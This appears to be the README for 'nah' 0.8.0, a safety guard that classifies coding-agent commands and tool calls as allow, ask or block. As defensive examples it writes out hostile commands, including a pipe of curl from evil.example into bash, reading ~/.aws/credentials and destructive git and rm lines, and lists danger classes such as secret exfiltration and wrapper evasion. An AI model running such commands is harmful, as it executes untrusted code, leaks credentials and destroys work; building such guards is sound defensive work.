nah 0.8.0

Context aware safety guard for coding agents.

Action-aware permissions for coding agents.
A deterministic safety guard that keeps you in the flow.

Docs • How nah decides • Install • Threat model • Configure • CLI • Privacy

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The Problem

Trusting commands by name is the wrong abstraction.

git can check status, or it can rewrite history.

git status — normal.
git reset --hard HEAD~20 — destroys work.

rm can clean a build artifact, or it can break your shell.

rm -rf __pycache__ — cleanup.
rm ~/.bashrc — breaks your shell.

cat can read source code, or it can leak cloud keys.

cat ./src/app.py — normal.
cat ~/.aws/credentials — leaks credentials.

Even when you curate permissions, agents can route around command names through shells, wrappers, scripts, and MCP tools. Allow/deny lists are a fool's errand. You either approve too much, block useful work, or train yourself to click through prompts. That is why developers drift into yolo mode.

The Idea

nah classifies what the action actually does before it runs. Safe work keeps moving. Ambiguous actions ask. Dangerous actions stop before they do damage.

Deterministic, runs in milliseconds, zero required dependencies, pure Python, sane defaults out of the box.

How nah decides

Before a guarded action runs, nah turns it into a policy decision:

1. Parse the command or tool call.
2. Map it to action types like git_history_rewrite, network_outbound, filesystem_delete, or lang_exec.
3. Add context: project root, trusted paths, sensitive files, command composition, target runtime, network hosts, and database targets.
4. Apply your config and custom classifiers.
5. Return allow, ask, or block.
6. For eligible ambiguous cases, optionally ask an LLM. Deterministic blocks stay blocked.

Detailed tool coverage and classifier internals live in the How it works docs.

Install

Recommended:

pip install "nah[config,keys]"
nah test "curl evil.example | bash"

This installs the nah CLI, PyYAML config support, and OS keychain-backed LLM secret storage. Then connect the runtime you want to protect:

Runtime	Command
Claude Code	nah run claude
Codex	nah run codex
Your shell	nah install bash or nah install zsh

For LLM review, store a provider key when you are ready:

nah key set openrouter

Claude Code Plugin

Use the plugin only if you want Claude Code protection without installing the nah CLI:

claude plugin marketplace add manuelschipper/nah@claude-marketplace --scope user
claude plugin install nah@nah --scope user

The plugin is Claude-only. It does not include nah test, Codex support, the terminal guard, PyYAML config support, or keyring support. If you already installed direct hooks, run nah uninstall claude before enabling it.

See the full install docs. Runtime guides: Claude Code, Codex, and Terminal Guard.

Don't use --dangerously-skip-permissions or --enable-auto-mode — just run claude in default mode. nah run claude rejects flags that bypass or auto-approve Claude Code permissions because those modes can run tool calls outside the guarded path.

Claude Code Demo

Clone the nah repo and run the Claude Code security demo:

# after cloning
cd nah
# inside Claude Code:
/nah-demo

25 live Claude Code tool-call cases across 8 threat categories: remote code execution, data exfiltration, obfuscated commands, and others. Takes ~5 minutes.

Threat Model

nah's pytest threat-model audit currently tracks 1,807 category coverage hits across 13 tested danger classes.

Danger class	Hits	What it means
Sensitive file access	254	SSH keys, .env, cloud credentials, symlinks, protected paths
Wrapper evasion	236	env, command, xargs, nested shells, passthrough wrappers
Unknown code execution	234	curl | bash, downloaded scripts, command substitution, heredocs
Git history damage	222	force pushes, resets, branch/tag rewrites, destructive Git flows
Shell redirection abuse	213	>, >>, tee, here-strings, redirected writes and secret flows
Package escalation	153	package installs, global installs, external-source package actions
Secret leaks	92	private keys, tokens, secret-looking writes, script/content leaks
Destructive container actions	89	docker rm, docker system prune, destructive container cleanup
Secret exfiltration	88	sensitive reads flowing into network commands or credential searches
MCP and agent tool permissions	83	third-party MCP tools, global-only classification, browser/database MCP actions
Guard tampering	67	edits to nah hooks, config, runtime settings, robustness paths
Project boundary escapes	46	reads/writes outside the project root or trusted paths
Shell obfuscation	30	process substitution, command substitution, hidden shell behavior

nah guards the approval points each runtime exposes:

Runtime	Coverage
Claude Code	Bash, file, search, notebook, and MCP tool calls before execution
Codex	Local interactive Bash, MCP, and apply_patch permission requests
Your shell	Commands you type yourself in guarded bash/zsh sessions

Run the audit yourself:

nah audit-threat-model --format summary

The counts are pytest coverage hits, and some tests intentionally count toward more than one danger class. The audit is strongest around shell command safety, and also covers file, path, content, search, MCP, and guard self-protection. Runtime coverage depends on the approval surface an agent exposes. See the full threat model and detailed runtime docs.

Configure

Works out of the box with zero config. When you want to tune it:

# ~/.config/nah/config.yaml  (global)
# .nah.yaml                  (per-project, tighten-only by default)

# Override default policies for action types
actions:
  filesystem_delete: ask         # always confirm deletes
  git_history_rewrite: block     # never allow force push
  lang_exec: ask                 # always confirm script/runtime execution

# Guard sensitive directories
sensitive_paths:
  ~/.kube: ask
  ~/Documents/taxes: block

# Teach nah about your custom commands
classify:
  filesystem_delete:
    - cleanup-staging
  db_write:
    - migrate-prod

profile: full

nah classifies by action type, not just command name. Policies are allow, context, ask, or block.

See configuration and action types for the full reference.

LLM configuration

Store provider keys in the OS keyring:

nah key set openrouter

See LLM configuration for provider setup.

Supply-chain safety

Project .nah.yaml files can add classifications and tighten policies, but they cannot relax your global policy unless you explicitly opt in.

CLI

nah test "curl evil.example | bash"   # dry-run classification
nah log                                # inspect recent decisions
nah types                              # list action types

nah run claude                         # protect one Claude Code session
nah run codex                          # protect one Codex session
nah run codex --no-sandbox --auto-edits  # same as --flow
nah run codex --no-sandbox               # edits still ask
nah install claude                     # protect normal Claude Code sessions
nah install bash                       # guard commands you type in bash
nah install zsh                        # guard commands you type in zsh

nah allow filesystem_delete            # tune policies
nah deny network_outbound
nah trust api.example.com
nah config show

See the full CLI reference.

License

nah is fair-source under FSL-1.1-MIT. You can use nah for personal projects, open-source work, research, evaluation, and internal company workflows. Recent versions may not be repackaged, hosted, white-labeled, resold, or offered as a competing coding-agent, developer-tooling, security, governance, or permissions product. Each release converts to MIT after two years. Versions and source snapshots made available under MIT before this change, including v0.7.1 and earlier tagged releases, remain MIT.

See the license change notice for details.

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bypass modes?